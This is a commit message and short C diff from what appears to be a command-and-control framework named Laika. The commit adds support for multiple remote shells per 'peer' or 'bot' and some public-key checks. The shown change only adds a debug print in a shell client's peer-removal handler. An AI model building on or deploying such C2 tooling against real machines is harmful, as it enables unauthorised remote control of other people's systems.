Major shell packet refactoring

- can now open multiple shells per peer (change LAIKA_MAX_SHELLS)
- more sanity checking for public keys (new peers with duplicate keys are killed
- misc. refactoring, added cnc/cpeer.[ch]

shell/src/sclient.c

@@ -90,8 +90,10 @@ void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
     type = laikaS_readByte(&peer->sock);
 
     /* ignore panel clients */
-    if (type == PEER_AUTH)
+    if (type == PEER_AUTH) {
+        LAIKA_DEBUG("got auth!\n");
         return;
+    }
 
     if ((bot = shellC_getPeerByPub(client, pubKey, &id)) == NULL)
         LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_RMV_PEER_RES: Unknown peer!\n");